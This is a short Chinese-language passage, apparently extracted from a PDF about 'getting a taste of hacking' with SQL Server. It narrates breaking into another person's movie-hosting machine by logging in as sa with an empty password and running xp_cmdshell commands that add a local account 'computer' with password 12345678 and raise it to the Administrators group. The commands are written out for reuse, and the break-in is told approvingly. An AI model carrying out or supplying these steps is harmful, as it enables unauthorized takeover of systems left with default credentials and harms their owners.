SQL_让我过了一回黑客瘾.pdf

攻击步骤行动前,笔者先在电脑上点击“开始→程序→MicrosoftSQLServer→查询分析器”,从弹出的窗口中输入存放电影的那台机子的地址,然后选择“SoLServer身份验证”,输入登录名sa,密码为空,再点“确定”。哈!连接成功了,此时选择“master”数据库,在查询窗口中输入:xp-cmdshell“netusercomputer12345678/add”(增加一个新账户computer,密码为12345678)xp-cmdshell“netlocalgroupAdministratorscomputer/add”(把computer的等级提升到高级用户组里)